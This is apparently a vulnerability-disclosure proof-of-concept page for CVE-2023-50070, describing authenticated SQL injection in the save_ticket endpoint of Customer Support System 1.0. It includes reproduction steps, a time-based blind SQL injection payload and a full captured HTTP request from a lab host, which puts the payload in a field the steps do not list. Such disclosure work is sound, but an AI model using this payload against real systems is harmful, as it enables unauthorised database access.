CVE-2023-50070 PoC — Customer Support System 安全漏洞

Source

https://github.com/geraldoalcantara/CVE-2023-50070

Associated Vulnerability

Title:Customer Support System 安全漏洞 (CVE-2023-50070)
Description:Customer Support System是oretnom23个人开发者的一个客户支持系统，可以帮助某个企业或公司在客户从他们那里购买产品后提供客户支持。 Customer Support System 1.0版本存在安全漏洞，该漏洞源于文件/Customer_Support/ajax.php存在SQL注入漏洞。

Description

Multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket in Customer Support System 1.0 allow authenticated attackers to execute arbitrary SQL commands via department_id, customer_id and subject.

Readme

# CVE-2023-50070
# Customer Support System 1.0 - Multiple SQL injection vulnerabilities - save_ticket

**Description**: Multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket in Customer Support System 1.0 allow authenticated attackers to execute arbitrary SQL commands via department_id, customer_id and subject.

**Vulnerable Product Version**: Customer Support System 1.0  
**CVE Author**: Geraldo Alcântara  
**Date**: 29/11/2023  
**CVE**: CVE-2023-50070  
**CVE Link**: https://www.cve.org/CVERecord?id=CVE-2023-50070  
**NVD Link**: https://nvd.nist.gov/vuln/detail/CVE-2023-50070  
**Confirmed on**: 15/12/2023  
**Tested on**: Windows  
### Steps to reproduce:  
1- Log in to the application.  
2- Navigate to the page /customer_support/index.php?page=new_ticket.  
3- Create a new ticket and insert a malicious payload into one of the following parameters: department_id, customer_id, or subject.  
**Payload**: '+(select*from(select(sleep(20)))a)+'  

```
POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
Content-Length: 854
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l

-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="id"

'+(select*from(select(sleep(20)))a)+'
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="subject"

teste
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="customer_id"

3
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="department_id"

4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="description"

<p>Blahs<br></p>
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

-----------------------------81419250823331111993422505835--
```
Discoverer(s)/Credits:  
Geraldo Alcântara

File Snapshot


 [4.0K]  /data/pocs/a4d1dffc8beb3b6aa28a3ace63ae0d71dcc240a7
└── [2.5K]  README.md

0 directories, 1 file

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